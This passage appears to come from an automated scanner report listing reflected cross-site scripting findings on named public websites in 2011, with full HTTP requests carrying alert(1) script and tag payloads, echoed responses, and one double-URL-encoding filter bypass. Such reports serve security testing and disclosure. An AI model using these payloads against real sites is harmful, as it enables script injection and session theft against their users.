6.66. http://www.mayoclinic.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mayoclinic.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4174f'%3balert(1)//b235c779868 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4174f';alert(1)//b235c779868 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?4174f'%3balert(1)//b235c779868=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mayoclinic.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 file not found
Connection: close
Date: Sat, 02 Apr 2011 13:25:41 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: CFID=56390739;domain=.mayoclinic.com;expires=Mon, 25-Mar-2041 13:25:41 GMT;path=/
Set-Cookie: CFTOKEN=78178525;domain=.mayoclinic.com;expires=Mon, 25-Mar-2041 13:25:41 GMT;path=/
Set-Cookie: JSESSIONID=8030c0b06e9348c9e386246d2c3415127262;path=/
Set-Cookie: CURRENTFARCRYPROJECT=dotcom;path=/
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>

   <title>Page not found - MayoClinic.com</title>
   <meta name="description" conten
...[SNIP]...
;
   OAS_listpos = 'Bottom,Position4';
   OAS_query = 'E1ED5C92-F149-7785-66979D84200611F0=ObjectID&E1ED5C92-F149-7785-66979D84200611F0=pl&mcPage=type&404=ID&1?404;http://www.mayoclinic.com:80/favicon.ico?4174f';alert(1)//b235c779868=1=B404';
   OAS_target = '_top';
   //end of configuration
   OAS_version = 10;
   OAS_rn = '001234567890'; OAS_rns = '1234567890';
   OAS_rn = new String (Math.random()); OAS_rns = OAS_rn.substring (2, 11);
   f
...[SNIP]...

6.67. http://www.mayoclinic.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mayoclinic.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 506b0"-alert(1)-"3c6201fb7ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?506b0"-alert(1)-"3c6201fb7ef=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mayoclinic.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 file not found
Connection: close
Date: Sat, 02 Apr 2011 13:25:40 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: CFID=21707428;domain=.mayoclinic.com;expires=Mon, 25-Mar-2041 13:25:40 GMT;path=/
Set-Cookie: CFTOKEN=48294501;domain=.mayoclinic.com;expires=Mon, 25-Mar-2041 13:25:40 GMT;path=/
Set-Cookie: JSESSIONID=f4308d3d1a40fd31ab3b9122d75b4ba1b687;path=/
Set-Cookie: CURRENTFARCRYPROJECT=dotcom;path=/
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>

<title>Page not found - MayoClinic.com</title>
<meta name="description" conten
...[SNIP]...
<script>
COMSCORE.beacon({
c1:2,
c2:"6035818",
c3:"6035818",
c4:"http://www.mayoclinic.com/invoke.cfm?b404=1?404;http://www.mayoclinic.com:80/favicon.ico?506b0"-alert(1)-"3c6201fb7ef=1",
c5:"",
c6:"",
c15:""
});
</script>
...[SNIP]...

6.68. http://www.mediaite.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mediaite.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f883"><script>alert(1)</script>a6bf2b66203 was submitted in the REST URL parameter 1. This input was echoed as 3f883\"><script>alert(1)</script>a6bf2b66203 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico3f883"><script>alert(1)</script>a6bf2b66203 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mediaite.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:18:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.14
Vary: Cookie
Set-Cookie: PHPSESSID=3qrq02pgj5elgfbk68038olr35; path=/
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
X-Pingback: http://www.mediaite.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Sat, 02 Apr 2011 14:18:51 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 34022

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xmlns:fb="ht
...[SNIP]...
<form method="post" action="http://www.mediaite.com/favicon.ico3f883\"><script>alert(1)</script>a6bf2b66203/?_login=25c119c94d">
...[SNIP]...

6.69. http://www.motime.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.motime.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6b98"><script>alert(1)</script>c2b107df494 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icob6b98"><script>alert(1)</script>c2b107df494 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.motime.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.63
Date: Sat, 02 Apr 2011 13:58:08 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.2.12-pl0-gentoo
Edge-control: bypass-cache=on
Set-Cookie: trkdada=x3UsGU2XK3CFuGIzAy+8Ag==; expires=Sun, 01-Apr-12 13:58:08 GMT; path=/
P3P: policyref="/w3c/p3p.xml", CP="CUR ADM OUR NOR STA NID"
Content-Length: 34371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input type="hidden" name="returnurl" value="/favicon.icob6b98"><script>alert(1)</script>c2b107df494" />
...[SNIP]...

6.70. http://www.motime.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.motime.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 34891</script><script>alert(1)</script>e1ff6838de9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico34891</script><script>alert(1)</script>e1ff6838de9 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.motime.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.63
Date: Sat, 02 Apr 2011 13:58:22 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.2.12-pl0-gentoo
Edge-control: bypass-cache=on
Set-Cookie: trkdada=x3UsK02XK35zo0P8Azz5Ag==; expires=Sun, 01-Apr-12 13:58:22 GMT; path=/
P3P: policyref="/w3c/p3p.xml", CP="CUR ADM OUR NOR STA NID"
Content-Length: 34334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<script type="text/javascript">
_dadanet.registerStartup(
['classes/FormManager', 'classes/CommObjects'],
function()
{
var co_opts = {

uri: 'http://www.motime.com/favicon.ico34891</script><script>alert(1)</script>e1ff6838de9',
dict:{
'op_in_progress_desc': '',
'is_friend': 'We are friends',
'invite_already_send': 'Invite already sent',
'invite_send': 'Invitation sent',
'invite_blocked': 'Invites blocked by user',
'is_fan'
...[SNIP]...

6.71. http://www.mp3raid.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mp3raid.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload cb45a<script>alert(1)</script>f364086cc64 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icocb45a<script>alert(1)</script>f364086cc64 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mp3raid.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:07:05 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.1
X-Powered-By: PHP/5.3.1
Content-Length: 5934
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><TITLE>404 Page Not Fou
...[SNIP]...
<h1>The page /favicon.icocb45a<script>alert(1)</script>f364086cc64 not found!</h1>
...[SNIP]...

6.72. http://www.mp3raid.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mp3raid.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dcd99"><script>alert(1)</script>c02e519161c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icodcd99"><script>alert(1)</script>c02e519161c HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mp3raid.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:07:05 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.1
X-Powered-By: PHP/5.3.1
Content-Length: 5940
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><TITLE>404 Page Not Fou
...[SNIP]...
<a href="http://www.addthis.com/bookmark.php?v=250&pub=burkul" onmouseover="return addthis_open(this, '', 'http://www.mp3raid.com/favicon.icodcd99"><script>alert(1)</script>c02e519161c', '404 Page Not Found')" onmouseout="addthis_close()" onclick="return addthis_sendto()">
...[SNIP]...

6.73. http://www.mycricket.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mycricket.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8634e</script><script>alert(1)</script>11bc3873d9a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico8634e</script><script>alert(1)</script>11bc3873d9a HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mycricket.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:42:16 GMT
Server: Apache
X-Powered-By: PHP/5.2.14-pl0-gentoo
Set-Cookie: mycricket_rdi=ee713ae5dfb322af6abdeece0ada1b4e; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 30848

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>invalid page | Cricke
...[SNIP]...
pe="text/javascript">
var hbx=new Object();hbx.vpc="HBX0150.02e";hbx.gn="ehg-reddoor.hitbox.com";

//BEGIN EDITABLE SECTION
//CONFIGURATION VARIABLES
hbx.acct="DM560614E2RE94EN3";
hbx.mlc="/favicon.ico8634e</script><script>alert(1)</script>11bc3873d9a"; //multi-level content category

//alert('tmpl: hbx_page_code_for_error_pages');

try{
eval ('data = ' + $.cookie('data'));
var hbxCommerceVars={};
hbxCommerceVars.pv="0"; //product
...[SNIP]...

6.74. http://www.mylifetime.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.mylifetime.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 255ec'%3b8d549cf0020 was submitted in the REST URL parameter 1. This input was echoed as 255ec';8d549cf0020 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /255ec'%3b8d549cf0020 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mylifetime.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
Last-Modified: Sat, 02 Apr 2011 13:36:40 GMT
X-Pingback: http://www.mylifetime.com/xmlrpc.php
X-Lt-Cache: CACHE_PAGE_set
X-Lt-Cache-key: http://www.mylifetime.com/255ec'%3b8d549cf0020
RealServer: prodweb4
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Sat, 02 Apr 2011 13:36:42 GMT
Date: Sat, 02 Apr 2011 13:36:42 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 70219

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script type="text/javascript">refresh_rate = 1;
hbx_ad_refresh_page = 'index';
hbx_ad_refresh_apath = '_255ec';8d549cf0020';</script>
...[SNIP]...

6.75. http://www.mylifetime.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.mylifetime.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 175d9"><a>3ddeb7ae6ca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /175d9"><a>3ddeb7ae6ca HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mylifetime.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
Last-Modified: Sat, 02 Apr 2011 13:35:32 GMT
X-Pingback: http://www.mylifetime.com/xmlrpc.php
X-Lt-Cache: CACHE_PAGE_set
X-Lt-Cache-key: http://www.mylifetime.com/175d9"><a>3ddeb7ae6ca
Realserver: prodweb12
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Sat, 02 Apr 2011 13:35:35 GMT
Date: Sat, 02 Apr 2011 13:35:35 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 70249

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<img src="http://pixel.quantserve.com/pixel/p-84eTroxoNX3JE.gif?labels=MYLT:175d9"><a>3ddeb7ae6ca" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
...[SNIP]...

6.76. http://www.nydailynews.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nydailynews.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c3df4'%3balert(1)//2457915afd7 was submitted in the REST URL parameter 1. This input was echoed as c3df4';alert(1)//2457915afd7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoc3df4'%3balert(1)//2457915afd7 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.nydailynews.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:24:42 GMT
Server: Apache
Keep-Alive: timeout=3, max=998
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 71163
Set-Cookie: sto-id-sg-web-8080=BOACAKAK; Expires=Sat, 02-Apr-2011 02:24:23 GMT; Path=/

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="imagetoolbar" content="no" />
<meta property="og:site_name" conten
...[SNIP]...
jQuery.cookie('seen_nydn_ipad', 'yep', { expires: 7 });
document.location='http://www.nydailynews.com/services/apps/ipad/redir.html?u=http://www.nydailynews.com/favicon.icoc3df4';alert(1)//2457915afd7';
}
//-->
...[SNIP]...

6.77. http://www.oodle.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.oodle.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dee3e"-alert(1)-"d0aa2d773ae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icodee3e"-alert(1)-"d0aa2d773ae HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.oodle.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.7j DAV/2
Cache-Control: private
P3P: CP="DSP IDC CUR ADM PSA PSDi OTPi DELi STP NAV COM UNI INT PHY DEM"
Content-Type: text/html; charset=utf-8
Date: Sat, 02 Apr 2011 13:36:48 GMT
Content-Length: 23641
Connection: close
Set-Cookie: otu=f0124679080472be32101e034bba68c0; expires=Fri, 01-Jan-2038 20:00:00 GMT; path=/; domain=.oodle.com
Set-Cookie: ots=c3f05fa9a6a425c696068891ef99e4ef; path=/; domain=.oodle.com
Set-Cookie: a=dT1EMkY4MTExRTREOTcyNjcw; expires=Fri, 01-Jan-2038 20:00:00 GMT; path=/; domain=.oodle.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
>
<head>
<m
...[SNIP]...
-_--_--_-";
odl.reporting.replyExtraFields = "usa-_-nonclassifieds-_-nonclassifieds-_--_-www-_-USA-_-oodle-_-error-_--_--_--_--_--_--_-";
cmSetProduction();
cmCreateErrorTag("nonclassifieds favicon.icodee3e"-alert(1)-"d0aa2d773ae","10000000","usa-_-nonclassifieds-_-nonclassifieds-_-www USA-_-www-_-USA-_-oodle-_-error-_--_--_--_--_--_--_-");
</script>
...[SNIP]...

6.78. http://www.oodle.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.oodle.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 141c5"><script>alert(1)</script>d6b037b25fc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico141c5"><script>alert(1)</script>d6b037b25fc HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.oodle.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.7j DAV/2
Cache-Control: private
P3P: CP="DSP IDC CUR ADM PSA PSDi OTPi DELi STP NAV COM UNI INT PHY DEM"
Content-Type: text/html; charset=utf-8
Date: Sat, 02 Apr 2011 13:36:47 GMT
Content-Length: 23718
Connection: close
Set-Cookie: otu=4d4e452f05e3458af8c7091581577bcf; expires=Fri, 01-Jan-2038 20:00:00 GMT; path=/; domain=.oodle.com
Set-Cookie: ots=f396da894437be11c53e9aafdb5d3381; path=/; domain=.oodle.com
Set-Cookie: a=dT1BNUUwMDhCMDREOTcyNjZG; expires=Fri, 01-Jan-2038 20:00:00 GMT; path=/; domain=.oodle.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
>
<head>
<m
...[SNIP]...
<meta property="og:url" content="http://www.oodle.com/favicon.ico141c5"><script>alert(1)</script>d6b037b25fc" />
...[SNIP]...

6.79. http://www.pronto.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pronto.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c04d7'><script>alert(1)</script>f4fdd867ae0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoc04d7'><script>alert(1)</script>f4fdd867ae0 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.pronto.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:24:39 GMT
Server: Apache/2.2.4 (Fedora)
Content-Type: text/html;charset=ISO-8859-1
Via: CN-5000
Proxy-Connection: Keep-Alive
Content-Length: 90396

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

...[SNIP]...
<meta content='http://www.pronto.com/favicon.icoc04d7'><script>alert(1)</script>f4fdd867ae0' property='og:url'/>
...[SNIP]...

6.80. http://www.rent.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rent.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ee0cd'%3bcb0a88443c6 was submitted in the REST URL parameter 1. This input was echoed as ee0cd';cb0a88443c6 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.icoee0cd'%3bcb0a88443c6 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.rent.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:36:01 GMT
Server: Apache
Set-Cookie: session=8bd0d740a1e3f55aa6029029f1babb60/1301751361/05455137116852e2aca9e684d063385b; domain=.rent.com; path=/
Set-Cookie: RD=; path=/; expires=Sat, 02-Apr-2011 13:36:31 GMT
Cache-Control: must-revalidate
Expires: Sat, 02 Apr 2011 13:36:02 GMT
Last-Modified: Sat, 02 Apr 2011 13:36:01 GMT
Set-Cookie: browser=1.210801301751361255; path=/; expires=Tue, 30-Mar-21 13:36:01 GMT; domain=.rent.com
P3P: CP='ALL DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo OUR IND PHY ONL UNI COM NAV INT STA'
Content-Type: text/html; charset=utf-8
X-Cache: MISS from www.rent.com
Content-Length: 20031

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en" class="no-js">
<head>
<title>Error 404: Page Not Found</title>

<link href="http://media.rent.com/css/renter.css?v=8297
...[SNIP]...
<script type="text/javascript">
$().ready(function() {
next_url = '/favicon.icoee0cd';cb0a88443c6';
ajax_img = 'http://media.rent.com/img/global/ajax-loader-blue.gif';
signin_box_state = 'closed';

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>
...[SNIP]...

6.81. http://www.rent.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rent.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5a25%2522%253e%253ca%2520b%253dc%253e1df3e30028f was submitted in the REST URL parameter 1. This input was echoed as f5a25"><a b=c>1df3e30028f in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Request

GET /favicon.icof5a25%2522%253e%253ca%2520b%253dc%253e1df3e30028f HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.rent.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:35:49 GMT
Server: Apache
Set-Cookie: session=10126565fabf461a6858b2961126cae8/1301751350/be94a764a1841ff093210115435aab78; domain=.rent.com; path=/
Set-Cookie: RD=; path=/; expires=Sat, 02-Apr-2011 13:36:20 GMT
Cache-Control: must-revalidate
Expires: Sat, 02 Apr 2011 13:35:51 GMT
Last-Modified: Sat, 02 Apr 2011 13:35:50 GMT
Set-Cookie: browser=1.2046613017513502; path=/; expires=Tue, 30-Mar-21 13:35:50 GMT; domain=.rent.com
P3P: CP='ALL DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo OUR IND PHY ONL UNI COM NAV INT STA'
Content-Type: text/html; charset=utf-8
X-Cache: MISS from www.rent.com
Content-Length: 20069

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en" class="no-js">
<head>
<title>Error 404: Page Not Found</title>

<link href="http://media.rent.com/css/renter.css?v=8297
...[SNIP]...
<a id="topbar_signin_link_id" class="topbar_signin_link" href="/account/login/" linkname="GlobalHeader_SignIn_Link" rel="/favicon.icof5a25"><a b=c>1df3e30028f">
...[SNIP]...

6.82. http://www.reverbnation.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.reverbnation.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3eefb<img%20src%3da%20onerror%3dalert(1)>8088e5a0514 was submitted in the REST URL parameter 1. This input was echoed as 3eefb<img src=a onerror=alert(1)>8088e5a0514 in the application's response.

